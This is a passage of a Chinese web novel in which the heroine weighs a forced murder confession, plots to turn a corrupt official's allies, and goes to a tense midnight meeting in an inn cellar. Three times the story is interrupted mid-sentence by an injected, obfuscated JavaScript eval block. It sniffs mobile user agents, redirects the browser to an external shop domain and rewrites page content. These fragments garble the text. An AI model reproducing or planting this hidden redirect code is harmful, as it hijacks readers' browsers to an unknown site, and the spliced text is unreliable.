闵一水神色间犹豫,吞吞吐吐,但是胤姜有足够耐心,还从厨房拿了不少点心出来待客。 闵一水犹豫开口,“那和尚失踪很久了,明明他之前和我约好说要一起去折翠居喝酒的,没想到,和尚不见了,折翠居也关门了。” 胤姜心下了然,净空的尸体肯定是被贺府的人处理了,但没想到,这书生还挺重情,于是安慰道,“许是净空师傅收到师门传信,有重要事所以先回去了。” 闵一水摇头,“才不是,”咬咬唇,“我最后见他的时候,他对我说过,他要去办一件重要的事情,若是他没回来,就让我带着这地图去找他。” 胤姜眼微眯,却见闵一水小心翼翼地从怀中掏出一张羊皮纸地图,看上去成色老旧,像是放了许久的。 闵一水将其平铺开,羊皮纸上用刀刻出蜿蜒起伏的线条,胤姜瞧着却十分熟悉,就像那天净空画给她和洛朽今看的藏宝地图一样! 胤姜不动声色,试探问道,“他既然让你去找他,闵公子又为何来找我?雪娘愚钝,有些不明所以。” 闵一水面露难色,“小生才愚钝,根本看不懂这画的是哪里,那和尚留下这个谜,日日都困惑着小生,小生也问过些朋友,都说看不明白, 昨日看见雪娘子回来了,小生想,雪娘子见多识广,或许有所了解也不一定,所以今日才冒昧前来打扰。” 胤姜沉默,闵一水在府衙任职,她昨日也刚好是去府衙找的贺含章,被闵一水看见也正常。 之前贺含章说给她这个女儿置办宅子,结果,苏灼连苏宅都办好了,贺含章准备的宅子还没好,而贺府更不是她的久留之地,近来她那好弟弟闹了不少事,她可不想莫名去蹚浑水。 还是呆在苏宅好,所以她找贺含章,还真就在府衙,比较方便。 “闵公子说笑了,这雪娘看得也不是太明白,不过雪娘倒是知道一句话,缘聚缘散,世间寻常,或许净空师傅已经回归佛门,闵公子也莫执着才是。” 闵一水神情愣愣,半晌,惭愧低下头,“是小生迷障了,我见他不辞而别,还以为他不将我当做朋友,就一心想寻他问个清楚明白。” 不知想起什么,闵一水眉宇间染上忧伤,“或许是之前,小生没来得及对另一个朋友说再见,没有好好告别,结果,”闵一水艰难扯起嘴角, “结果啊,就再也见不到了,所以小生觉得,朋友之间,好好聚在一起固然重要,但是好好说再见,也很重要。” 因为不知道,哪次再见后,就是再也不见,就是永别。 胤姜心弦一动,他到底是没法和净空好好说再见了,“嗯,雪娘也同意闵公子的话,如若老天垂怜,故人总会重逢的。” 闵一水茫然离去,出门时热烈的阳光洒在他身上,他忽然想起,那天也是这样一个艳阳天,碧空如洗,街上人来人往,杨乙穿着一身衙役服, 站在一行即将远行的队伍中,远远地朝他挥手,杨乙笑得很开怀,大白牙露出,笑容比阳光灿烂,只是如今回忆起来,却觉得分外惨烈。 那时的他,心情不大好,因为上衙时书籍分类错了,被上司臭骂了一顿,他虽然瞧见杨乙朝他挥手,也知道他即将出发去协助押送赈灾银, 但是他并不以为意,他臭着脸,并没有搭理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12729609|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 那时他还在想,他不想做书吏,他觉得当衙役不错,若是他也能去帮忙押送赈灾银就好了,上司也不会轻易骂他,一个月月银也比现在多,怎么他就不是捕快呢? 他埋怨自己长得文弱,也埋怨自己不够有气势、受人欺负,他并没有给杨乙一个微笑,哪怕是一个微笑,他沉浸在自己的坏情绪里, 自怨自艾,那时的他也不曾想到,只是去接赈灾银而已,怎么就把命给丢了呢? 一群人意气风发的出去,伤痕累累的回来,一□□气都没有。 闵一水想,他可真是够糟糕的,杨乙是他自幼最好的朋友,可是他们的最后一面,却如此糟糕,他真是个很差劲的朋友。 净空和尚,也是因为他是个很糟糕的朋友,才会不告而别吧? 闵一水眼角渗出泪花。 苏灼提着小包花茶回来了,胤姜问起寻宝之事,苏灼直摇头,手下动作却没停,沸水入壶,花茶的香气很快就飘满整个小院,院中有棵香樟树,此时发着嫩绿的枝叶。 一阵微风吹过,胤姜两鬓边发丝随风起,但她的神色却不太好,“他们没去找,还是他们没找到?” 苏灼不疾不徐地泡着花茶,第一杯浓茶被他洒出去,“李山川领了小部分人当先行队,倒是往深处走了,却还没找到那个地方, 大哥担心他们有危险,因此要求他们必须三天出来几个人,进行轮换,但是李山川那小子,始终坚持不走,对他来说,那一关,到底是过去了。” “中间可曾碰上其他人?你知道的,洛朽今也知道这个事情,他本来就是朝廷的人,那本来也是朝廷的银子,他不可能什么动作都没有。” 胤姜分析道,只是在苏灼提起李山川时,她心中不知是什么滋味。 苏灼点头,递给胤姜一杯泡好的茶,“道理是这个道理,你有没有想过,他也想试探你呢?说不定他的人就在背地里看着,等李山川他们找到银子之后, 再来个坐收渔翁之利,岂不是美哉!毕竟,我可没听说,李山川他们有遇见其他人。” 胤姜神色一滞,虽然接过苏灼的茶,却只将其放在桌上,手指抚着茶杯沿,一口没喝,“你没提醒他们吗?若真有这种可能,到时候他们岂不是要起冲突?” “那是早晚的事,这笔银子,”苏灼给自己斟了一杯,轻抿一口,“说来奇怪,大哥好像对它势在必得,当我跟他说起有那笔银子的时候,他的反应很不寻常。 本来也有许多人反对去寻找那银子的,大哥十分罕见地里力排众议,才有了李山川他们这队人马,不过你不用太担心,入口都被我们的人看死了, 一只蚊子都不会飞出去,就算他们有想法,只要不想打草惊蛇,都不会直接和我们动手。 而他们若想在我们找到之后明抢,那也要问湖底那些机关,干不干了!二哥近来忙得很,他本来就是个机关狂,平日里就喜欢捣鼓那机关, 大哥的意思,好像是要精进机关,进入战备状态了。” 胤姜心中一惊,父亲他竟打算和官府开战?这不是他平素的作风啊。 47. 策反啊 “你在担心?担心谁?”苏灼深深看了胤姜一眼,不容推辞地推了推胤姜桌前放着的花茶。 胤姜收敛思绪,装作无事一笑,“浑说什么呢,我还能担心谁?”这才饮了口花茶,入口香甜,果然味道好极, “我那父亲真是比泥鳅还滑,捉也捉不住,哪怕如今有许多的心证都指向他,但是实际的证据是一个也无。” 胤姜摩挲着茶杯边缘,赈灾银失踪一案,黑崖寨指向贺含章,涂苍现在还活着,连带着发现了金矿,有了金矿就说明劫银不是他们主要的目的,贺含章的最终目的是杀黎清元。 土匪看似是这一切开始的一环,却根本不是最重要的一环。 那倒推呢?杀了黎清元会怎么样?黎清元,到底处在什么位置? 说起来可笑至极,连杀一千多人,害得数万流民居无定所,就只为杀一人做掩盖? 一将功成万骨枯,杀一将,却竟也要万民来陪葬? “会不会和南越有关系?”胤姜不确定地问道,她对他国的消息知道得不多。 苏灼瞥她一眼,“他就算曾经大败南越,那也有些年头了,何况那时候他只是作为急先锋而已,那一战后他就被挑中去皇帝身边当近卫了, 南越杀他做什么?真要报仇,该杀他祖辈才对,黎家世代从军,压着南越几十年了。” “一个家族最重要的是什么?不就是子嗣后辈吗?黎将军在他们那一辈中若是佼佼者,可不就是断绝黎家的未来吗?铲草除根。” 胤姜反说道。 “不排除这种可能,但是可能性小。”苏灼将杯中的茶沫一洒而尽。 胤姜还欲再问什么,门外却传来三声敲门声。 苏灼不想多言直接起身去开门,却是贺颂和徐乔,以及几个仆从。 苏灼侧着身子,冲胤姜眉一挑,“那我先出去了,不耽误你们姐弟团圆。” 胤姜勉强微笑,为贺颂和徐乔斟了两杯茶,“阿弟,近来可好?” 胤姜当然知道,就为着国子监入学名额的事,贺府这段时日被闹得并不太平。 贺颂扬起一个标志性的纨绔笑容,“阿姊,弟弟此次前来,是为告别。” 胤姜抬眸看向二人,却是没说话,想来尘埃落定,最后还是由贺颂去,“此去千里,我还未来得及准备礼物,到了雍京,记得写信报平安。” 胤姜心中却在想,徐乔也要去吗?她的仇,不报了吗?心里想着,眼睛也看向徐乔。 贺颂右手握住徐乔左手,“阿姊,此番我便是为阿乔一事拜托你,阿乔不随我一起去,后面的事情,得麻烦你了。” 徐乔神色恹恹,听到贺颂提起她,方才抬起头看着胤姜,心不在焉地点个头打招呼。 胤姜微笑问道,“这是何故?你莫不是喜新厌旧,不要我们阿乔了?” 胤姜嘴上是这样问,但是知道前情的她,却有些疑心,这二人的合作是不是已经散了。 “阿姊,不是,”贺颂难得地正经几分,他将杯中花茶一饮而尽,方才说道,“我们终究有各自的事情要做,这是一点心意,阿姊千万收下。” 贺颂接过身后下仆递来的礼物,转赠给胤姜时,眨了一下眼。 胤姜心领,“嗐,送我这些做什么,你放心吧,我会把阿乔照顾得好好地,你啊,莫到了雍京学坏才是,雍京繁华如许,可得把心给我守住咯!” 胤姜再提点了贺颂几句,徐乔则乖乖站在一旁,却是一言不发,终于,胤姜和贺颂唠完嗑,把贺颂送了出去,连同那几个下仆也跟着一起离开。 院中只剩徐乔和胤姜。 胤姜刚准备打开,徐乔却止住了她,“阿姊,莫心急,回到房间再看也不迟。”说着,徐乔便揽着胤姜进屋了。 “怎么回事?”胤姜确定没有耳目偷听,才问道。 徐乔接过胤姜手中的东西,徐徐打开,“阿姊,你一看便知。” 却是一架古琴,徐乔劈开古琴,从中掉落一张信纸,隐约可知上面所写字迹潦倒。 胤姜细细看来,却觉得心惊肉跳,这是一张认罪书,由写字人签字画押,上面所坦白的却是他强女干后杀人,为以绝后患,派人灭村的事实! 而画押人,则大喇喇地署着贺礼的名字。 胤姜猛地抬头看向徐乔,徐乔面上无神色,眼含悲伤,“阿姊,他认了,多荒唐的理由,一个村子,整整几百口人,就为了这样一个荒诞的理由死于非命。” 胤姜想,贺颂和徐乔能拿来这样一份认罪书,却是不容易,想来也经过一番算计。 不过,胤姜有些犹豫,“这能作数吗?若是上了公堂,他狡辩是为人逼迫写下的怎么办?” 徐乔呐呐点头,“没人逼他,不过使了一个诈,给他下了点药,让他以为他被鬼缠身,又被鬼给带到了葛家村而已,村子里野草丛生,我旧地重游, 那里荒凉得像一片坟地,不,那确实是坟地,我把他们都埋葬在一起了。 贺礼醒来的时候,以为见鬼了,鬼,自然是没有的,可我倒希望这世上真有鬼,好让他们自己亲口问他一问为什么要杀死他们?” 徐乔那日带着贺颂,以及昏迷的贺礼千里迢迢赶路回了葛家村,村庄荒僻至极,房屋垮塌且铺满灰尘,地上的草也长得有三尺深,空气中好似仍弥漫着那天的血腥气。 徐乔又干呕起来,这是葛家村的旧址,那时,假官兵们走了之后,她从水中钻出来,找了一块空地,起了一座大坟, 之后把村人们被烧成黑炭的尸体一具具搬到一起,将他们都葬在一起后,徐乔摆上香烛祭拜,她磕了三个响头,头皮已经被磕出鲜血, 她丝毫没有觉得疼痛,她的心搅在一起,她已经麻木了。 再次回到葛家村的徐乔,再次跪在大坟前磕了三个响头,她说,“徐乔不孝,今日终于将杀害你们的真凶找到了,可是我不能杀了他, 我要将真相大白于天下,今日,我先让他给你们磕头认罪!” 贺颂站在徐乔身边,他的身份尴尬,论亲缘,他是贺礼的兄长,而论感情,他是徐乔的丈夫,贺颂却也跪下了,三叩首,指天起誓, “颂无能,以后定会护好阿乔,更会将杀你们的凶手绳之以法。” 贺礼即将有转醒的迹象,二人又赶紧起身装扮成鬼的模样,恰当时虽是白日时分,天气却实在阴沉得可怕,风雨欲来,天空似酝酿着惊天大雷, 乌云滚滚,偶尔还有几道哑雷闪过,狂风起,贺礼被紧紧捆住,刚一转醒,见到这样的场景,登时吓软了三分,贺颂一脚踢向他的膝盖, 贺礼当即便跪下了,哭爹喊娘,眼泪花花,先是抬出贺含章的威名恐吓,却见眼前两位黑白无常无动于衷,正在挑选刑具,似乎在思考怎么处罚他, 贺礼:“......”呜哇!爹,娘,救命! 贺礼三分胆气已经被吓没,他本就是个身娇肉贵的公子哥儿,哪里见过这样的阵仗,便如同软脚虾一般,贺礼连声求饶,莫说磕头了,他的尿都吓出来了。 徐乔穿着白无常的衣服,眼中逝过憎恶和愤怒,就这样一个人,轻飘飘几句话,就害死了那么多人,真可笑啊,这世界。 徐乔选好了鞭子,这可不是普通的鞭子,是用牛鞭制成的,打在身上,血花花的,定然好看,徐乔也是这样想的,当时一鞭下去, 抽得贺礼是哭爹喊娘,跪地求饶,血痕很深,徐乔却不解气,如是抽了十几鞭,贺礼气息奄奄,跪伏在地上,像只野狗,脸上还挂着泪痕,身上却血迹斑驳得很。 贺颂叹口气,上前制止徐乔,将徐乔按在怀中,徐乔何尝不是满脸泪,她埋在贺颂怀中,哭得更加放肆,似乎要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12746075|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将多日来的仇恨、委屈、心酸,都一一消化掉。 天空一声响雷,似要劈开半边天,倾盆大雨瞬间而至,贺颂揽着徐乔、拖着半死不活的贺礼回到马车中,马车掉转车头,往淮安驶来。 贺礼的认罪书,则是在徐乔抽他鞭子的时候,他声泪俱下写下的。 胤姜安慰地看着徐乔,世上有许多悲伤,就算分享给他人,也不会减轻悲伤的重量,最后还是只有靠自己跨过去才行。 走出去的时间有长有短,都是很正常的,也并不存在什么时光空耗不空耗,凡是经历,皆是成长。 胤姜能做的,只有陪伴着徐乔,无声地告诉她,她并不是一个人。 “光凭这份认罪书,怕是有些困难,若是能找到贺礼买凶杀人的人证就好了。”胤姜说道。 “他们都死了。”徐乔神色平静得不正常,转头看向胤姜,眼珠却也不怎么转, “贺礼说他当时是找的一队衙役去做的,而那队衙役,正好在押送赈灾银的队伍中。” 胤姜暗吸一口凉气,人证都死光了,又一次,证据不足。 胤姜忍不住问道,“贺含章对此事是否知情?”不然为什么这么巧,刚好那队衙役就在派去接应赈灾银的队伍中。 徐乔转转眼珠,语气平淡,“多半是知道的。贺礼从那次回来以后,就受刺激过度,整天疯疯癫癫的,府中都说他得了疯病,真是便宜他了。” 他一个杀人凶手尚且还可以活在虚幻的世界里,而他们这些被害人,却还得打起精神,面对这残酷吃人的世道。 胤姜对贺礼疯了这件事没太大波澜,毕竟贺礼只怕从小生活在世人的追捧中,素来活得任性又自我,受不了这种打击很正常。 难的,是对付贺含章。 “既然仇报了,又为何不跟着贺颂离开?”胤姜担心徐乔变得偏执。 “仇报了吗?世人不知道有这样一个葛家村,也不知道他们为什么会死,更不知道凶手是谁,而凶手只是疯了,他只是疯了而已,还尚且没有身败名裂。 贺家,还在,贺礼那么任性妄为,靠的不就是贺家的权势吗?谁给他垫的后,谁给他收拾的残局?我绝不放弃!” 徐乔眼中绽放着某种坚毅的神采,近来她消瘦许多,面无血色,此时双眼却亮得可怕,好似她全身的生机都在于此。 胤姜没说话,她哪里来的资格劝诫徐乔放弃复仇呢?人的路,终究在自己脚下。 胤姜也没问徐乔和贺颂的今后,毕竟他们连当下都过不去,还谈什么以后呢? 贺颂,贺颂,你在想什么呢?你没揭露徐乔,可是你也不能失去贺家啊。 胤姜想,这又是一个死局。 “该销毁的证据都销毁得差不多了,该灭口的证人,也死得差不多了。要对付贺含章,或许只剩一计。”胤姜沉思良久,道出这两句话。 徐乔看向她,眼眸黑沉沉。 胤姜说道,“策反。” “已知贺含章的联盟,刘白两家,邓家,黑崖寨,落到具体的人,就是白朦水,刘玄,邓绥,涂苍。这几人里面,你觉得谁或许和他们不是一条心呢?” 胤姜和徐乔谈了几人的瓜葛后,她表面上在问徐乔,也是在问自己,经过她在山中走一趟,她隐约觉得涂苍可以利用, 他并不完全是贺含章的下属,二人更像因利联合。 徐乔却有不同的见解,“我曾经见过刘夫人,也粗粗了解过她的过往,我觉得或许可以争取她。 白道成和贺礼是一丘之貉,当年强女干,白道成也参与了,只是杀人放火、以绝后患的是贺家罢了。 当日贺凝珠和白道成订亲,其间白朦水去找过贺凝珠,我偶尔听到几句,她却是在劝她离开,和贺凝珠的亲娘一起离开这里。” 胤姜疑惑看向徐乔,竟有此事? 48. 败露? 徐乔点头,“当时白朦水告诉贺凝珠,说她为她准备了些银两,也为他们打点好了出城的路,至于出城之后要去向何处,就是看她们自己。” 胤姜想,虽然白朦水的做法让她有点惊讶,但是这并不代表白朦水有被他们策反的可能。 白朦水帮助贺凝珠,或许是出于女子间的惺惺相惜,也或许是不忍心又见另一个女子被推进火坑,但是这不代表,白朦水自身的利益与贺含章相悖。 胤姜没有彻底否决徐乔的提议,“你可以再和她接触看看,但是做这件事一定要慎重,这关乎我们的性命,也关乎你是否能报仇雪恨。” 徐乔呵呵笑两声,她忽而抬眸看向胤姜,眼中毫不顾忌地试探之色,“阿姊,你又是报着什么目的做这件事呢?” 胤姜眉头也不曾动一下,“我说我是为了救包括我自己在内的芸芸众生,你信吗?” 徐乔敛去眸中神色,低头说了句,“不重要,我确认你不会出卖我就是了。” 你要是想出卖我,我早就死了,哪里活得到现在? 那时候的她,真傻啊,可是,明明才几个月过去,她一息尚存的天真无邪,她过去无忧无虑的岁月,她心里尚存的对未来的期望,竟然都消失得彻彻底底了。 那时的徐乔,连下个毒药都会手抖,被胤姜威胁恐吓,还会害怕,那时的她尚且无法掩饰自己的仇恨, 更会因胤姜的一丝温柔,吐露出自己的仇恨,那时的她是那样愚蠢,如今回想起来都好笑。 其实,徐乔庆幸,胤姜的确没骗她,她们两个可以互惠互利,至少在敌人一致的情况下。 她也庆幸,她遇见的是胤姜,若是遇见旁人,她那样的愚蠢,只怕被人吃得连骨头渣滓都不剩了。 徐乔也想不明白,人为什么会变化这样大,这几个月,她见识到她从未见过的世界,也见识到她从未见过的人性另一面,她好像已经融入到这样虚伪的世界中去。 她把假面牢牢嵌在脸上,她装得五分顺从,表演五分虚伪,她和他们,越来越像,她逐渐溶在这虚情假意的世界,她自己也分不清,她说的做的,有几分真,几分假。 贺颂,贺颂,你呢? 是不是谎话说多了,自己都相信了。 他们二人表演着世人眼中恩爱的眷侣,可是徐乔知道,贺颂冷心薄幸,面上一副纨绔皮囊,内心却恶劣至极,他尤爱隔岸观火。 贺礼的确是愚蠢狠毒,却绝对缺不了贺颂在一旁煽风点火。 是呢,徐乔心底有另外一个真相,贺颂为何当初会帮助她,不过是因为他从头到尾都知道贺礼和贺含章做了什么罢了。 他或许惊讶于她还活着,或许觉得那时的她亦是愚蠢好玩,又或者他想看看她到底能做出些什么不自量力的蠢事,顺带再气气贺礼——他一向这样恶趣味。 徐乔逐渐摸清他的脾性,对他那时有时无的真心,也不太在意了。 仇恨,才是滋养她活到现在的灵丹妙药。 爱,什么也不是。 徐乔想着,低低地笑出声。 送徐乔出门,却见苏灼和梁玺一起侯在门口,胤姜眉心一跳。 苏灼笑着送别徐乔后,又微笑着邀请梁玺进门一叙,宣誓主权般伸手揽住胤姜,一副当家男主人的模样,礼仪上挑不出丝毫差错。 “我回家时刚好碰上洛公子,洛公子一直等在门口,倒是夫人你啊,和阿乔聊得太认真,都没听见洛公子的敲门声。”苏灼一言带过来龙去脉。 胤姜没反驳,这院子不算大,若洛朽今真敲门了,她在屋内不会没听到,分明是他没敲门,一直在她门口打转,还被回来的苏灼撞个正着。 他想做什么? 胤姜侧头想看向梁玺,却发现他远远落在二人身后,神情莫测地盯着苏灼揽着她的手看。 胤姜心中发笑,趁到了院子摆脱苏灼的束缚,又进后厨拿了些糕点出来,却见那二人正坐在桌椅边,倒聊得开怀。 胤姜将糕点置于桌前,方才挑个二人中间的椅子坐下,“洛公子今日前来,可有要事?” 梁玺拿起糕点瞧了眼,“之前雪娘子为泰极商行做了不少宣传,洛某繁忙,竟搞忘兑现承诺了, 今日特地上门道歉,并且将洛某的心意带来,希望雪娘子喜欢。” 梁玺略一抬手,跟在梁玺身后一直做个透明人的商白就凑上来了,一字摆开一溜儿的珠宝首饰,俱是上好的金钗珠翠,色泽光润, 梁玺解释说道,“这些都是洛某的商行中拿得出手的上好货,我也算是借花献佛了,金银俗气,不堪配雪娘子,我便自作主张将它们拿来了。” 苏灼眼色深一分,这小子蹬鼻子上脸,当他真死了吗? “那就谢谢洛公子好意了,不过苏某是俗人,下次还是就用金银的好,这些朱钗翡翠的,雪娘已经有很多了,虽然女人家都喜新厌旧, 一会儿追这个新潮款式,一会儿迷那个稀罕物件儿,但是她终究还是会选择,自己戴得最习惯的那一只,多了也只是白添彩头而已,当垃圾扔的命。” 小子,你从哪里来给我滚哪里去。 胤姜一个头两个大,这俩男人怎么像在争风吃醋呢? 她忽然体会到男人三妻四妾的快乐了,可不嘛,一个惹你生气后,还可以寻求另外一个的温柔怀抱,总之,她是不会落空的。 对男人来说,就算是妻妾相斗,那也只能代表她们在乎而已,无论是在乎权势金钱,还是在乎情意。 胤姜出言劝阻,她也是个合格的和稀泥选手啊,“洛公子送的礼物雪娘很喜欢,夫君所言喜新厌旧一词我倒不是很赞同,旧的多年情意仍在, 新的也甚合我意,何必非要分个高下呢?我都很喜欢。” 胤姜这话一出,两个男人面色都不太好看,胤姜后知后觉这稀泥没和对头,正懊恼自己说错话,却又听梁玺说道, “近日商行中平白生出了些风波,多谢苏兄提醒,使得小弟幸免于难,小弟也有礼物要送给苏兄。” 商白身后几个仆人却抬出来两个大箱子,一打开,却见苏灼彻底变了脸色。 箱中不外是一些书画、绣品之类的东西,胤姜虽觉得箱中物件看上去华贵非常,却颇有一股岁月之感。 胤姜默了一瞬,洛朽今,你是在做什么?敲山打虎,你想警告苏灼什么?还是也想警告她? 如果胤姜没猜错,这箱中的东西应该就是苏灼曾经对她提起的多年前不翼而飞的贡品。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12762458|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 洛朽今,你竟然把这些东西又拿回去了吗? 胤姜神色不见慌乱,却不自觉捏紧了裙边,与梁玺戏谑道,“夫君他可不是喜欢这些琴棋书画的人,便是拿给他,也怕不得他喜欢。” 胤姜说着假做看了苏灼一眼,为他突然惊变的脸色做出解释,“夫君,我不是说你不好的意思,你别生气。” 苏灼已经冷静下来,“无事,夫人,我近来也在欣赏这些文人物事,有了洛贤弟送我的这些书画,或许我会进步神速也不一定。 洛贤弟为愚兄思量,我很喜欢你的礼物,多谢。” 苏灼将“多谢”二字咬得极重。 梁玺淡然一笑,“苏兄喜欢就好。那小弟就不再叨扰了,告辞。” 胤姜垂下眼睫,就在说这句话之时,梁玺飞快地碰触她一下,塞了什么东西到她手中。 苏灼起身送客,临出门之际,梁玺看向苏灼身后的胤姜,却什么也没说。 梁玺走后,胤姜看着苏灼冷静苍白的神色,问道,“如何会暴露?还是他只是试探?” 苏灼摇头,“想来他对你起疑,便开始调查你周围的人吧,”苏灼一时有些拿不准,“他应该只知道我们在暗中帮助他, 并且把那堆邓家想栽赃给他的东西拿回来了,却未必知道得更多。” 比如,这堆贡品和他之间的关系。 苏灼又反问,“他方才递给你什么东西?”他眼睛尖,如何瞧不见? 胤姜没遮瞒,摊开手掌,原是一张纸条,上写:子时,客栈。 苏灼不免烦躁,“大晚上他约你做什么?你和他没什么吧?” 胤姜摇头,“四叔说笑了,他想做什么,或许今夜便知分晓,我只是担心,咱们的人里,有了叛徒。” 苏灼冷笑,“是啊,这些贡品我可都全部拿回来了,这一转手,却怎么又到了他手上?” 苏灼好似意识到什么,“李复在哪里?” 胤姜皱眉,她确实有一两天没看到李复了,难道是他? 糟糕,她曾经向李复透露过她的身份,那洛朽今岂不是知道了?! 今夜,怕不是一场鸿门宴? 胤姜暗自捏了把冷汗,苏灼说道,他今夜可以远远跟在她身后,以备不时之需。 胤姜却拒绝了这个建议,“他身边不乏高手,焉知他没有把那些人安插在周围,若你跟在我后边,便说不清了。 为今之计,只有以不变应万变,你什么都不要做, 我今晚去赴约便是了,到时就算出事,也只有我一人出事,你咬死不知情就是。” 苏灼摇头,“谁会相信夫妻之间对彼此毫不知情?要知道我救的是贺怀雪,娶的也是贺怀雪, 中间一个大活人,生生变了模样,我要说不知情,谁信?” “可是风险太大,你还可以做准备回寨子,他未必会对我做什么。”胤姜犹自说道。 苏灼却笑了,“阿月,你糊涂啊,我再三告诫你,不要对他动心,你还是没听。你如今的自信从哪里来,你如何确信他真的喜欢你,而不是逢场作戏? 你若是真信了他的情话,今夜傻傻赴死,那我才会被你气死! 男人嘴里的话,你听听就好了。” 49. 夜会 胤姜笑笑,却不说话,或许她的确拿不准梁玺的虚实,而她亦也在这虚虚实实中模糊了自己的面貌。 是夜,月明星稀,偶有几声蝉鸣,于这寂静深夜十分突兀,胤姜行走于街上,也只撞见过一个夜里打更的更夫。 她今夜穿得十分低调,一身黑色,快要和这夜色融为一体,夜深寒冷,远处有白雾升起,颇有几分缥缈意味。 梁玺纸条中提及客栈,胤姜直接了当地认为他说的就是折翠居,那是他们初识的地方,再也没有哪家客栈比那还有象征意义。 胤姜手持一盏暖色灯笼,怀揣着心中许多说不清的想法,独自迎着这清冷的月色慢行于无人街道中。 在临近的一个拐角,胤姜停下了脚步,她知道再向右拐,便到了折翠居,梁玺,应该就在那里等着她,或许,今夜,一切都将有个了断。 胤姜跨出那一步的时候,心中闪过无数种可能,却唯独没有眼前这种。 梁玺身边站着两个人——恰好,她也都认识。 胤姜从容不迫地朝梁玺三人走去,李复和房东江氏分别立侍梁玺左右,胤姜想,真是诡异的画面,他们何时和他有瓜葛了? 江氏淡淡看了胤姜一眼,便拿出钥匙打开了折翠居的大门,当然,折翠居的招牌早已经被摘下了,只是一个简单的代称罢了。 虽然空置了不到一个月,但是折翠居中显然已经布满了灰尘,甫一打开,空气中弥漫的尘埃便呛了几人一鼻子。 胤姜不明所以,但是显然,此时的情况全然由梁玺掌控着。 梁玺点燃一簇火把,熊熊火光映着折翠居内灰暗的环境,边走梁玺边说,“江娘子与雪娘子应该是旧识,便不用洛某再介绍了吧? 李公子曾在雪娘这里帮过工,也算熟识,而刚刚江娘子也和李公子互相认识了一下,可以说,今夜来的,都是熟人。” 胤姜垂下眼眸,只低头看着地面,熟人?是方便一起杀人放火的熟人吗? 江氏神情冷淡,并不打理胤姜,反倒是李复,看了胤姜好几眼,欲言又止。 梁玺领着三人辗转间来到了后厨,直接打开了密道,胤姜绷着脸,一言不发。 梁玺领头先行进了密道,这曾经是一处地窖,李复对此应该很熟悉。 “洛公子,到这里来做什么?”胤姜直视梁玺问道,她心中忽生出一些酸涩之意,这一天来得太快,他们之间结束得也太快, 她却也不曾得知,他背地里都在筹谋什么,又已经得逞了什么? 苏灼的话忽而在胤姜脑海中回响,她不怪自己识人不明,也不恨他的欺骗,他们两个半斤八两,都不是什么好人,只是技不如人,她败得太惨。 火光忽然离胤姜很近,原来是梁玺朝她走近,他站在她身边,双眼炯炯,看向她说道,“想来你虽盘下折翠居几月,却也不曾知道这地窖之后,还另有玄机吧。” 胤姜眉心一动,看向李复,李复却回避她的视线。 他们四人此时站在楼梯之下,却见平素冷淡的江氏双眼大放异彩,看上去异常兴奋。 如果说在场中最令胤姜摸不着头脑的人,那便是江氏了,她和她不过寥寥几面之缘,对江氏最深刻的印象便是她孤僻避世、冷漠自怜。 但是身为这间客栈原本的主人,却也不会有人比她更了解这里。 江氏面对梁玺神情诚挚,“就在那里,东西就在那里。” 说着,江氏神神叨叨地就朝那漆黑不见五指的地方走去,梁玺紧随其后,火光才堪堪照亮地窖,江氏面对着一堵墙,神情激动地指给梁玺看, “就是这里,就是这里,当年,东西就是被放在这里!” 江氏赤红着眼,恍惚间又回到了十五年前。 她父亲是兖州府有名的工匠,家中虽不是大富大贵,却也实在是一个幸福的三口之家。 她嫁的丈夫是父亲的亲传弟子,工匠这一行,向来不收女子,而她又素来是个听话的小家碧玉,自然也不太了解,但是她知道, 有段时日,父亲和丈夫忙得连饭都吃不了几口,便要急匆匆地去赶工,二人还时不时争吵,但是她一去,二人便主动息了声响。 她和丈夫青梅竹马,感情亦是水到渠成,父母只得她一女,待她也是如珠如宝。 她的幸福人生,却是在那一天被划开了一道口子,从此,他们在地下长眠,她一人独活于世。 官兵闯进她的家,杀死她的父亲,杀死她的丈夫,能毁的都毁了,能拿走的都拿走了,她被丈夫提前送进了地窖,连带着那样东西, 那样令这群官兵翻找许久、却不得其果的东西。 她的母亲很快就抑郁而亡,偌大的宅子,她雇人擦拭血迹,雇人打扫庭院,她再把他们全部驱逐, 从此以后,她不再需要任何人,她要和那座宅子一起腐烂,直到她死亡。 江氏,江依,始终认为,她的父母和丈夫,在那座宅子里陪着她,他们在等她,她只是慢去了十几年,她日夜在佛前祈祷, 祈祷她来世再做父母的孩子,祈祷她来世再遇到丈夫。 撑着江依活到现在的,就是她的仇恨,她纤弱的身体里藏着一股仇恨,那仇恨是她的脊梁,是她呼进又吐出的那一口气,是她不死不屈的意志。 胤姜记得,江依的父亲和丈夫都是修筑河道的工匠,因为十五年前渭水决堤,而主要原因之一则是偷工减料。 